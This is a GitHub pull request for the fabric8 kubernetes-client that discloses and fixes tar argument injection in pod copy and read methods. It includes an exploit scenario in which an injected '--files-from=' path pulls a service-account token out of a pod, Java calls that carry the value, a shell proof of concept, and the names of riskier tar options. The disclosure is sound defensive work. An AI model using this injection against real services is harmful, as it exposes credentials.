Skip to content

fix: prevent pod file-transfer option injection - #7964

Open
GrosQuildu wants to merge 2 commits into
fabric8io:mainfrom
GrosQuildu:fix-pod-file-transfer-option-injection
Open

fix: prevent pod file-transfer option injection#7964
GrosQuildu wants to merge 2 commits into
fabric8io:mainfrom
GrosQuildu:fix-pod-file-transfer-option-injection

Conversation

@GrosQuildu

@GrosQuildu GrosQuildu commented Jun 26, 2026

Copy link
Copy Markdown
Contributor

Description

The shellQuote method is used in a few functionalities to escape strings before they are used in shell commands. The method surrounds input string with single quotes chars and escapes the quotes inside the string.

However, the shellQuote does not account for argument injection via -- prefix.

  public static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
  }

The vulnerable methods are:

  • PodOperationsImpl.readTar
  • PodOperationsImpl.readFileCommand
  • PodUpload.upload
  • PodUpload.createExecCommandForUpload
public InputStream readTar(String source) {
    return read("sh", "-c", "tar -cf - " + shellQuote(source));
}

Exploit Scenario

An attacker exploits an artifact-download service that uses kubernetes-client to copy one caller-selected path out of a build pod. The service intends to allow a caller to download one artifact path, possibly denylisting some files, but it passes the caller's value directly to the dir and copy pod operation methods.

The attacker creates /tmp/fabric8-list in the pod with paths to readable files, such as a service-account token and application configuration, then requests the source path --files-from=/tmp/fabric8-list. The shell-quoted command still invokes tar with that value as one dash-prefixed argv entry, so tar reads the list and archives every named file. The service then returns files outside the intended artifact path to the attacker.

The attacker's requested path then reaches the vulnerable readTar command through dir(...).copy(...):

client.pods()
    .inNamespace("builds")
    .withName("build-pod")
    .dir("--files-from=/tmp/fabric8-list")
    .copy(downloadDirectory);

The same source path also reaches readTar through dir(...).read():

try (InputStream archive = client.pods()
    .inNamespace("builds")
    .withName("build-pod")
    .dir("--files-from=/tmp/fabric8-list")
    .read()) {
  archive.transferTo(responseOutputStream);
}

The following shell script demonstrates the pod-side command behavior reached by those API calls:

#!/usr/bin/env sh
set -eu

workdir="$(mktemp -d)"
podfs="${workdir}/podfs"
archive="${workdir}/copy.tar"

mkdir -p "${podfs}/app" "${podfs}/var/run/secrets/kubernetes.io/serviceaccount"
printf '%s\n' 'public build artifact' > "${podfs}/app/artifact.txt"
printf '%s\n' 'pod-service-account-token' \
  > "${podfs}/var/run/secrets/kubernetes.io/serviceaccount/token"

cat > "${podfs}/tmp-list" <<'LIST'
app/artifact.txt
var/run/secrets/kubernetes.io/serviceaccount/token
LIST

(
  cd "${podfs}"
  sh -c "tar -cf - '--files-from=tmp-list'" > "${archive}"
)

tar -tf "${archive}"

PoC code that demonstrates the exact single-quoted tar option injection used in the exploit scenario.

Note that more dangerous tar arguments like --checkpoint-action=exec and --use-compress-program= exist, but we were unable to exploit them.

Threat Model

Inputs to the methods performing shell-quoting may or may not be untrusted, depending on the specific setup. However, the methods should not allow to execute unexpected actions via argument injections. Therefore, the fix below is recommended and no threat model notes are needed.


Paweł Płatek from Trail of Bits in collaboration with OpenAI.

@GrosQuildu
GrosQuildu marked this pull request as ready for review June 26, 2026 15:16
GrosQuildu added a commit to GrosQuildu/kubernetes-client that referenced this pull request Jun 26, 2026
@GrosQuildu
GrosQuildu force-pushed the fix-pod-file-transfer-option-injection branch from a954574 to ef7da50 Compare June 26, 2026 17:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant